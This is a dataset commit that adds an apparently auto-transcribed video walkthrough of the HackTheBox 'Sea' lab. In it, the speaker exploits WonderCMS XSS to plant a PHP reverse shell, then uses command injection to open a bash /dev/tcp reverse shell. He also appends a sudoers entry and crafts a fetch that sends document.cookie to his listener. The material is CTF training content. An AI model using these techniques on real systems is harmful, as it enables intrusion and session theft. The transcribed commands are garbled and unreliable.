k3nn3dy commited on
Commit
5843ea0
·
verified ·
1 Parent(s): eed94e3

Add HackTheBox_-_Sea.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_Sea.jsonl +45 -0
HackTheBox_-_Sea.jsonl ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is ipag we doing C from hack the box which starts off with hacking a Wonder CMS web server now identifying its Wonder CMS can be a little bit tricky but I'll show a few ways to do that all centered around enumerating the themes but once you do that you can find a proof of concept exploit script on GitHub you pull that down and when you try to run it it doesn't work you have to make a few modifications because the xss payload just isn't working but once you do that you get a shell on the box and then the next step involves finding a command injection in a web server that's listening on Local Host in the Beyond route we'll go really look at the cross-site scripting because it's relatively interesting so with all that being said let's just jump in as always we're going to start off with an end map", "start": 0.12, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
2
+ {"text": "so- SCC for default scripts SV en numerate versions dvv for double this gives us things like the TTL O A output all formats put the nend map director and call it C and then the IP address of 1010 11.28 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and the Banner tells us it's an Ubuntu Server we also have HTTP on Port 80 it's Banner tells us it's Apache also running on Ubuntu and looking at the scripts we can see the title of the page is c-ome and then the cookie is PHP session ID so we definitely know this is a PHP web server and end map's also telling us the HTTP only flag is not set so if we have some type of cross state scripting vulnerability we could steal the cookie that way so let's go ahead and take a look at the website so let's do 1010", "start": 39.76, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
3
+ {"text": "11.28 and we get the page welcome to see it looks like it's a sign up for some type of biking competition if I go over to how to participate we have this link that directs us to contact.php it's in the bottom left of my screen and it's telling us the website is c. htb so let's go ahead and add that to our host file because we don't have DNS let's do 1010 1128 c. htb there we go and we could click this link to see what it is it's a contact form but before we get too far into it I always like having Recon running in the background so let's go ahead and start up a gobster so do gobster directory um URL HTTP c htb word list op secc list uh Discovery web content raft small words. text and then we'll give it the extension PHP because these are PHP files and I'm going to call this um root. goster because this", "start": 91.6, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
4
+ {"text": "is like the root of the directory right so now that we have gobster running let's go ahead and take a look at this form so we can do name um we'll do IPC email root atp. age we'll do 30 USA um website let's link it back to us and see if anything happens so we'll do 10 10 148 I'm going to do Port 8,000 and I'm just going to start up a netcat listener on Port 8,000 the reason why I like using netcat instead of like Python's HTTP server for the initial thing is I like being able to see all the headers that the um client connects to us with and if I just do simple HTTP server we can't see that right so we have get host connection um user agent is going to be just a typical web browser um nothing too interesting there so we can make a request come back to us uh we know it is going to be Linux we", "start": 148.4, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
5
+ {"text": "could look for like some type of browser exploit but this is an easy box un hack the box and typically that is going to be way out of SCP it's not that easy to hack browsers so I don't know exactly what else we could do um it looks like they are clicking links I guess we should find out more about this actual website right so if I look at the source code I'm going to try to identify if this is running like a CMS or something like that we can see right off the bat the stylesheet is going to themes bike CSS style.css and normally when I see directories like themes I don't think this is hand jammed PHP and by that I just mean like a pH P script with no like framework or something so I'm guessing this runs something um I'm not sure exactly what it is and if the theme didn't stick out directly to you like that another good place to look is if you go to the Target", "start": 203.08, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
6
+ {"text": "on Burp Suite they you can go here and kind of see it here if we go themes bike we have CSS and image it doesn't show us anything CU by default CSS files are hidden we can unhide it and then see like that right so we we could probably enumerate like this themes bike directory for files we could also just look at this theme and assuming this is going to be open source um we could take something here that looks somewhat unique maybe like this webkit animation thing we're going to go to Raw so we can copy this so we just have this exact string and then I'm going to search GitHub for this so let's go to github.com and you'll have to be logged in now to do this um you can't do it when you're not logged in but it's free to have a GitHub account so we'll search and then if we go over to code we have 18 hits so this string appears in 18 repositories if we go to the first", "start": 253.319, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
7
+ {"text": "one we have um this bike and if we click here we can see it looks pretty much exactly like the site right and it is the Wonder CMS bike theme so chances are this is going to be Wonder CMS and we could also look at the bike directory for these type of files so if we went to um what is it it's themes bike and then let's go to readme.md to see if this file exists it looks like it does so um if you did not search this way right you could do um a phob buster so if we just did like Fuster U HTP c.", "start": 311.88, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
8
+ {"text": "htb um the word list is in not a normal Place Let's Do opsc List Discovery web content raft small we could do raft medium dictionaries eventually this may find it but I find Fuster the reason why I don't show it in a lot of videos is because it is a recursive scanner which means it's going to go into every single directory it finds and then scan those and this can take a relatively long time to run right you could also just go Um Let's Do gobster U HTP 10 10 oh we should do c HTP themes bike and then word list OPC list Discovery um web content raft small words. text and I'm going to kill these go bust these scanners because if I have three scanners running at once it's going to go pretty slow because I'll like Deni or service my connection um let's see Go Buster directory mode how long is this going to take to run I wish it gave a better idea oh we have SL license so this came off right the bat", "start": 352.6, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
9
+ {"text": "so if I go over to bike we do SL license we can see the copyright turbo black and if we went to like GitHub that's probably going to be a user turbo black and then find it this way right so one CMS theme here and then you can guess there is probably a readme.md file that's not in the raft small words I think that's on like a quick hits um list so this is another thing that would be important to run if you only go Buster and only use like raft small words every single time you're going to miss some files like readme.md is um a really common one right so if I just look at ra small words or all of raft that doesn't get hit at all um I think there is a quick hits so you may also want to combine word list and use different ones so like the read me would on quick hits and if I look at what that read me is let's do curl C", "start": 422.0, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
10
+ {"text": "htb uh themes bike readme MD we can see it is telling us it's the Wonder uh CMS bike theme so there's three ways we can find out that we're running on wonder CMS just based upon finding the theme directory and then discovering the theme points references to it I don't think there's any references to like Wonder CMS on the source code here or this how to participate page the only place I found it was on the actual theme itself so with that being said let's look for exploits here so if we do um Wonder CMS exploit we can find um let's see this is a cross a scripting vulnerability in 320 to 342 that allows an attacker to execute code if we go to this script they have exploit. Pi so let's grab this and look over it so I'm going to V exploit. piy paste this and see what it does and let's see I'm just going to execute it real quick because if we don't give it the right arguments it", "start": 487.919, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
11
+ {"text": "tells us so we want to give it a URL um IP address and Port I'm guessing this going to be where we send the reverse shell to and we probably don't want Wonder CMS here it's probably just SL login URL right let's go C login URL okay let me just double check that Wonder CMS doesn't exist Wonder CMS 44 not found so we definitely want just the um login URL so probably do HTTP C htb login URL and then 1014 148 90001 right if we run the script it tells us um it creates xss DJs um execute this in another terminal and send this link to the admin for them to click on so this looks like it's going to be some type of reflective cross-site scripting because they're clicking on a link and we're injecting HTML through that link so it looks like something is reflecting to the page um so let's look at what xss djss is", "start": 559.399, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
12
+ {"text": "real quick and the way this is coded is not going to be straightforward um at the end of the video we're going to spend a bit more time going over this exploit uh because I think we can make it a lot more simple but when I was initially doing the box I'm just going to show you the path I went through so first we get the URL it's going to be c. htb login URL now we're doing this URL without log I don't know all these are doing so I guess this is um making sure we only grab c. htb and then base I think this is wrong um and we'll find that out in just a little bit I guess uh the token it's going to go in and grab a field called token that's in the source code so this is going to be some type of cross site request forgery token right so in order to do this next thing we're directing them to install a module we're pointing it at this we'll have to download the zip file and host", "start": 633.64, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
13
+ {"text": "it our because the Box can't reach out to the internet but right here it has token so if a token doesn't match what's on the page it's going to reject the request because that's how cross site request forgery tokens work and it's Unique every time the page loads so we have to make sure we grab that token now we're going to do a get request to the URL reverse where is that so URL reverse is them installing it so we say hey go install this and then once that's true um we're going to check if this exist so we installed a theme and then we're going to go and request a file that is inside of that theme so let's go ahead and walk through this the first thing we have to do is um switch out that install module for our URL so I'm going to grab GitHub on xss and and let's go ahead and download this", "start": 695.16, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
14
+ {"text": "file and we're going to do make D dubdub dub I'm going to move exploit into this directory and we can do WG okay and if we unzip main dotzip we can see what it is if we just go in rev shell then rev. PHP we have a PHP reverse shell so okay let's remove rev shell main we don't need that directory um I'll open up exploit. and let's see we want to replace this with our IP address so let's get rid of htps and then I'm going to do 10 10 148 Port 8000 main. zip that looks good and I also want to look at um one other thing I showed so we do do xss I want to make sure we're getting all the pages correctly so the easiest way to test this JavaScript code is to um put it in our browser and let's just do A-10 there we go if I copied it when I was in t-m edit mode it copies all these like spaces and line breaks oddly um so I don't like it in TMX edit mode I just", "start": 752.16, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
15
+ {"text": "switch out to this and let's see we can grab these this should be fine and then I'm going to press F12 we can zoom this in a little bit and go to the console okay so if we see what URL without log is that's just going to be c. htb which looks good um if we do URL without log base though it's just slash and if I look at the code um Ur reverse is just doing a slash here so we probably want this to be c. htb I would guess um I thought wait okay never mind I thought I had edited this install module but the exploit script is a bit weird um every time you run it it creates xss JS for you right so I'm going to run this we'll see if it actually um works if it doesn't then we know we probably should play with this URL without log base because this is just slash I think it wants to be c.", "start": 841.16, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
16
+ {"text": "htb um so here's the script running it's going to attempt to write xs. JS and then sends that so that should all be good so I'm going to run this let's see there we go that looks good we need to copy this and we'll go over to the how to participate contact and then refill out this form paste this submit and it'll probably take about um 60 seconds I always like giving it 2 minutes when I test for cross site scripting so let's just do sleep 120 and I will um resume once we get a hit because I'm assuming it will hit us and then I don't think we're going to see it um ever make a request to install the what is it main. zip so if I go in dubdub duub let's just make sure xss has has been edited we do 10 1048 8,000 main. zip yep that's done so we're just waiting on the bot to hit the page so um I'm going to pause the video and we'll resume once it happens okay we have a hit it hit xs. JS but we never", "start": 912.92, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
17
+ {"text": "saw anything hit main. zip so I'm going to assume that the cross state scripting request failed and it probably failed because of that URL um that we looked at before so let's go ahead and go back into our console window do we have it here we don't um it's probably on this contact form if I hit up there we go so what I want to do is instead of saying path name um we can change it to probably say host name because I'm assuming uh URL without log base just wants the host name of the box if we do without log base C.H TB so that looks good what if we did host is host also a thing let's see URL JavaScript is magical like as I hit host name I was like I was pretty sure that parameter was host not host name but I guess the birth the same so let's go ahead and change that right because all path name is giving us", "start": 1006.36, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
18
+ {"text": "is Slash and that's definitely not good so I'm going to edit the script let's do V exploit. pi and where it says path name I'm just going to put first name and that should make this URL reverse um c. htb install module so I think that's where it was having issues so let's do that and then we can send this form again maybe we should just use burp at this time to fill out the form could be a little little bit quicker if this doesn't work then I probably will uh website we want to give this link paste it in and the big painful thing oh wow that was quick um and it didn't get the new one oh there we go it just hit main. zip awesome we're not getting a shell though and I'm not sure why so if we look at this it's trying to hit c. htb themes reverse shell rev. PHP and then sending lhost and L Port some reason that did not work let's see if this file exist on the", "start": 1073.36, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
19
+ {"text": "box so I'm going to go themes rev. PHP it looks like it did right um and this is the let's unzip that file again we can go over the arguments so if I look at rev shell main rev PHP it's not edited to have our IP address here but there are arguments L host and L port in the reverse shell to send it so let's put those in so I'm going to do L host is equal to 10148 and L Port is equal to 901 let's make sure we're listening we are and we get a shell awesome so let's fix our TT so we do Python 3 import PTY PTY spawn then bash like that stty raw minus Echo foreground and then export term is equal to X term that lets us clear the screen and let's see where are we um the first thing I always like doing is uh going in the web server and finding out um the database right so let's go probably VAR actually let's do Etsy Apache 2 because we know this is Apache web server so we can just do sites", "start": 1158.76, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
20
+ {"text": "enabled c.com I was going to guess it was in for a dubdub duub but I always like showing the like foolproof way to do it look at the Apache config find out the document route and then we can access it that way right so let's go CD verdc and then let's see we have contact PHP index PHP plugin seams uh let's go to data I guess this is a flat file we have last logins and we have a password hash right here so let's go ahead and grab this password hash and I'm going to go into the Kraken which is just a machine on my network um you can run hashcat on your post machine I don't recommend running hashcat in a VM because it goes really slow in a VM um so let's do V hashes I'm going to call this C we'll paste this in and then we can do hashcat hashes opt word list rocky. text and let it do the autod detection magic it does um which it did not", "start": 1238.96, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
21
+ {"text": "do let's see no hash mode v hashes c I'm surprised that didn't me work let's do example hashes this is going to be like some form of bcrypt I believe um bcrypt probably 3,200 I'm guessing like two um something dollar this looks fine I'm going to do mode 3200 and we'll see Das mode 3200 the hashes on one token length exception 2 y10 did I not copy the whole thing let's see let's go back to our netcat oh I bet the are escapes that's probably it let's see get rid of that escape get rid of that let's have it auto detect again let's see if it detects it okay that's looking better so it is probably mode 3200 there we go and the reason why I decided it was probably going to be an escaping issue is because it was in double quotes and whenever I see double quotes I look at like special or odd characters like backslashes as escapes if it was a single quote I probably wouldn't think", "start": 1307.96, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
22
+ {"text": "that but being double quotes is what like made me start going down that path my mind so if we look we have recovered the hash and the password is My Chemical Romance so we have this password that it gets us into um the CMS the Wonder CMS we could also look at Etsy pass WD grap for every line that ends in sh for users and we can start trying passwords like aay put My Chemical Romance and we get logged in so that is where user. text is if we do pseudo- L put this in and a may may not run commands on C so let's look at what programs are running and uh if we do at the fstab the hide PID is set so we can't see processes by other users um let's look at what ports are listening and we see something on port 8080 um there's also 4587 maybe I'm going to look at what these ports are so I'm going to go in Etsy I'm", "start": 1421.88, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
23
+ {"text": "going to grip Das capital r for this port and then let's hide error messages and it looks like my shell has just died oh it came back nothing there let's look at port 8080 and let's see we have system D monitoring service so this is probably going to be what is listening on port 8080 let's cat this file and we see this is a PHP um interpreter running on Local Host 8080 and the directory is root monitoring so we can't interact with this service directly or I mean like we can't go into root monitoring but what we could do is set up a port forward and access this right so I'm going to do SSH a May at 10 10 1128 let's do a port forward I'm going to listen on Port 8081 because burp site is listening on 8080 we're going to send everything we send to 881 through Local Host on SSH and direct it to 880 on the", "start": 1497.48, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
24
+ {"text": "other end and the password is My Chemical Romance logged in so now we should be able to go to 1271 Port 8081 that'll send it through SSH connection and um8 on the host and we want username credentials let's do a My Chemical Romance for the password and we get logged into this system monitoring so we have dis usage system management analyze log file if we click analyze log file it's going to display a bunch of things so let's go ahead and intercept this so we can do intercept on analyze okay and let's see if I do I want to always go to this string so what I did here is I searched for this I put it on auto scroll so that way when I refresh oh it goes to the top let's see that should be fine we can just scroll down a little bit so my first thinking is we probably want to um we can probably go to the bottom of", "start": 1572.32, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
25
+ {"text": "the list actually because this sequential L error okay so maybe we can try to inject PHP into the log file so that's what I'm going to try first um so let's just do a curl 10 10 14 101 1128 slash Please Subscribe and do we see that request we do awesome so now let's put our user agent to be PHP um Echo hello uh that's not user agent user agent let's see let's just set a proxy HTTP Local Host 8080 it always helped to use multiple ways to do things there we go so now I can do PHP Echo hello I don't know why I always type the W there that's saved we should be able to go to next Tab run this that did not have it huh I guess it's not a supicious traffic pattern let's see is it looking for like suspicious user agents like curl okay so we have it and it did not execute our code so it's not using a include it's just doing file get", "start": 1650.48, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
26
+ {"text": "contents so it's not vulnerable um let's see we could try like command injection right let's do an ID command and something weird happened dis usage analyze log no suspicious traffic detected see can we just get the um root root. text no suspicious traffic let's see Etsy pass WD can we get this we get some things can we get the shadow file because this is running as root um we don't have root hashes here so let's try command injection this way status analyze log let's see wonder if we put a comment there we go so for some reason we need to put a comment at the end and we get a output of the command we had so let's do a reverse shell so we'll do b-z b-i then Dev TCP 10 10 148 9,1 0 and 1 Let's y encode this and then stand up our netcat listener run it and we get a shell awesome so now let's do Python 3 and it", "start": 1791.6, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
27
+ {"text": "exits so it looks like the shell may die pretty quickly run this we get the Shell let's see and it exits so let's try using a noop if we do no hop we'll put the plus there to youl encode plus Amper sand you all encode that is that going to give us a better shell it helps if I type no Hub correctly maybe not let's see I'm going to unur and code this that looks fine what if no Hop's like not on the box we'll put it here okay I'm going to give it a couple seconds and it doesn't look like or shell is dying anymore which is good so there was something that was just killing a process very quickly and what I was doing is I use no hop which allows me to Fork out of the process so I'm no longer tied to it so now if I go to root we can get root. text awesome um let's fix our terminal so Python 3 import PTY", "start": 1909.72, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
28
+ {"text": "PTY spawn b bash like that s2i raw minus Echo foreground then export term is equal to X term so I want to see exactly what's killing it so this is all like Beyond rot I want to just look at things that made me curious when I was Sol solving the box I'm going to do pf- forest and this is going to help me find other things on it so we probably should set our terminal size right so stty y- a rows 28 columns 110 stty rows 28 columns 110 let's do this PF again I can also do l- capital S we can go left and right hopefully yes we can so let's see it's probably going to be this monitoring watch dog right now it's in sleep let's see exactly what this is doing I'm going to cat this script and then it's always going to make a request here unauthorized let's Echo what the exit is so if the um exit code is not", "start": 2006.24, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
29
+ {"text": "zero then it's going to restart the monitoring service so what's happening here is this process on port 8080 is probably running as PHP right let's see p 8 80 funny it's l i wonder if it's screwed up because of my um no Hub because that should be the PHP service um that was in this pane we cat this file right so this is not going to be a threaded web server normally like you don't expose the PHP interpreter python interpreter straight to external users because there's only so many like connections it can process at once most likely it's just going to be one right so when we do the reverse shell we're actually hanging that web server because it's not threaded so let's test that theory uh we have this curl right so I'm going to go back to my request let's remove the no hop so this is going to take us out let's see is", "start": 2080.32, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
30
+ {"text": "this that's the amp understand right yeah so if we do n cvnp 91 make this request that's unauthorized send it we got it one Mississippi two Mississippi now it fails because again it just took two seconds to run and then if we oh that's rude it killed my whole Shell let's get this back CU we still need that to finish the video there we go Python 3 for PTY PTY spawn B Bashi ra minus Echo 28110 okay so where were we term is equal to X term it was like root monitoring service right scripts okay so we're doing the curl Max time so we failed so it's now going to restart the monitoring service and then wait 30 seconds before doing it again so that is why we have to no hop because when we hang the web server bad things happen right now you could if you didn't want to do this no hop you're running", "start": 2156.0, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
31
+ {"text": "commands as root right so you can do anything you want um another alternative would be like edit the pseudo file so if we cat Etsy PSE sudoers um we can C it on our box pseudoat Etsy pseudo or we can just do it here so let's say we didn't want a reverse shell but since we had a shell already we're free to cat Etsy sors is this going to display it does so all we want to do is add this line for Amy so I'm going to Echo this line two Etsy stors and we're going to do a may like that so now if I do pseudo Su put in the password of My Chemical Romance we can get root that way right um and since we're not really creating a persistent connection the web server is none the wiser so it never restarts the service so that's two ways we can go about getting that shell now the other thing I want to look at is exactly how that cross- site scripting thing works right so let's look at where the bot is", "start": 2253.16, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
32
+ {"text": "running it's going to be a cron somewhere so it's not in cron tab not there verse bu CR CR tabs nothing in rout okay so home goscripts contact. is probably going to be the bot so we can see exactly how this works so we have this xss function and that's just going to go to login URL going to log and then on Main it's going to read um files out of V messages and then just open a web browser to that page okay so we don't really need to look at that script all that much so let's go back and we can log in to the box and see exactly how this works I'm going to go c.", "start": 2326.48, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
33
+ {"text": "HTP where's all those am I intercepting right now I am turn it off uh it was what um login URL My Chemical Romance so this is going to be a really odd thing so whenever a page is sent here so if I do um page is equal to IPC it gets reflected here right but if I wasn't logged in let's just open a new window it doesn't get reflected because we get a 404 page so that's why it's really painful to um like play with this cross a scripting ourselves nor when you do cross-site scripting we can just do it on a browser test it and find out exactly why it's not working but in this case we couldn't because in order to trigger the uh payload you have to be logged in so I wonder if we just do B SL bold um user B doesn't exist is that do we have it so this is where we injected right now right we have this CH hdb bold IPC so um what the payload is doing is", "start": 2390.4, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
34
+ {"text": "putting a um single quote and that to escape it and then I think it did like that or something right so now let's look at exactly what thing looks like so we have canceled out of the form action and then we kind of broke that but we have straight HTML here so we can probably just do image source at this point if we do image source is equal to HTP 101048 8000 IPC does this work am I listing on 8,000 somewhere probably am we go so we make a connection so we have cross scripting there do I even need I wonder if that would with just that no so we definitely need to escape out of the form so we know how the cross a scripting Works let's look at the payload we're using so instructing the user browser to go into themes and then pretty much the copy of this um install link right if we paste that we can see exactly what it is c. htb install module and then paste this the", "start": 2481.04, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
35
+ {"text": "directory name the type as a theme and the token so let's go ahead and make our own xss payload and it's going to be a lot simpler than what they had right um so let's go I'm going to rename rev shell main to IPC and then we'll zip-r ic. zip so now we just rename the shell because I think we do ver dubdub duub C and go into themes like rev shell main exist I want to make sure we have a new directory okay so I'm going to call this p. JS and then what we want to do is grab the cross AG scripting token so we'll do document query selector name is equal to token value and I just want to double check this works right so we can grab this go over here open up a window look at what token is there we go that looks good so we have the token now we just want the payload we'll do ver payload is equal to I'm going to copy this", "start": 2595.04, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
36
+ {"text": "link and then all I want is that and I'm going to get rid of token or the value at least and we're going to do token like this so we're just putting that variable there and then the payload install module will be 10 10 14 8 8,000 I think we called it ic. zip directory name I'll leave it as Sky type theme token that looks good so now all we have to do is instruct the users's browser to do this um they had used a like XML HTTP request I'm just going to use the fetch because I find the fetch logic more simple so going to fetch slash and the payload um we don't need the question mark there we go so that's going to do a um like open the web browser right is going to go to that page I'm going to tell it to do a get request then I'm also going to set the mode to no cores if I don't do this then it's going to like send an option request to identify what um uh verbs my", "start": 2688.599, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
37
+ {"text": "web server accepts like if it's get post whatever so I like saying no cor so it doesn't do that then we want to put a um credentials to include this is going to include the PHP session ID right and then we can do headers uh this is a get request we don't need to set the header if we're doing a post request then we would um we have to set the application xddd URL form encoded but we're not setting a URL form so I think that's pretty much it right I think this is all we need for the cross a scripting we'll save this we got pone okay Python 3 HTTP server and we're going to have our web browser do this so we're going to go to page we're going to close out and then we can do script source is equal to http 10148 8,000 tone.js and then we can try to start the thing better I'm going to put this on", "start": 2772.72, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
38
+ {"text": "intercept mode so we can see things okay so I'm going to intercept the response to this so we can see it so we make the request to this which is going to put the cross a scripting on our page we can see right here if I go PJs script Source htttp 1010 whatever like this so we haven't had the request yet now I'm going to for this and now our browser made a request to PJs and it doesn't look like we did a fetch so let's open up our browser go to console and let's see red Declaration of our token I wonder if that's because we had like assign things we're just going to do it on a new window this should be a whole new pan query selector is null token undefined cat that not right ver token document query selector we have something wrong oh use Query token all I wonder if that's the issue undefined I wonder if that token's only", "start": 2857.0, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
39
+ {"text": "on the login page that could be like maybe the C surf token isn't even there let's see I don't have the web server running right now let's run this again with the log URL there so intercept the response forward and we have token so we do have a token it's going to be 3D whatever so I'm going to forward this and it still fails let's take a look at the script again oh could this be something I silly as not putting semics in the end that's very likely the problem let's run this again I'm going to be sad if that's it intercept on refresh forward that is not it token's undefined I bet if I grab the token it'll work right no let's just use the one they're using aone uh they called it xss let's see oh they do query selector all still undefined what are we doing wrong I think they actually had like a question mark after", "start": 2993.44, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
40
+ {"text": "this is that it it must be how we'll scre like building the for so what I'm going to do is use their exact payload let's do Python 3 exploit. Pi um like this it's probably because they actually rebuilt the form and we destroyed it that's going to be my guess let's just add that real quick they do login URL question mark that should be fine is this the problem why is this becoming so tricky to make and do a new tab log in url let's just copy their exact payload and then I'm going to replace xss with pone like that there we go so it must be how like when we're rebuilding the form we got like screwed up because now this works and bet if I go in themes we now have IPC so we show what a browser is exactly doing we can turn intercept back on and walk through it so first we make the request this is going to be tone.js", "start": 3164.079, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
41
+ {"text": "so we going to for this and do we just not oh we're not listening okay refesh forward we should see p. JS I'm guessing we don't intercept that one but here we go our browser is now requesting to install the module so that's how the exploit works right um this was somewhat tricky to get working because we had to build out this form now the easier route would have been if we looked at the source or like if we looked at um end map the cookie wasn't stored HTTP only right if we look here HTTP only is false so we could just use like an image source tag to um xfill all this and that makes it a lot easier to do right so we could just build a payload let's just I'll do this all in burp Suite we'll say login page is equal to nothing let let's just get a clean request intercept on stupid auto complete", "start": 3284.28, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
42
+ {"text": "okay so what I'm going to do is we close out the form and then we can do image source is equal to X and then on error we do a fetch so I'm going to do fetch http 10 10 148 P 8,000 and let's see I'm just going to do xss test real quick let's make sure this works you do fetch that looks fine I'm actually to do single quotes around the URL and I'm going to put the whole on error within quotes can close out the image tab and this hopefully is good I'm going to copy this let's just clear the screen to get everything good and I'm going to paste this index.php send and we have now made a request to xss test awesome so all we have to do now is add the cookie portion so I'm going to do questiones mark C and then we'll do plus then B2 a so this going to um give us base 64 and we can say document.cookie like", "start": 3368.839, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
43
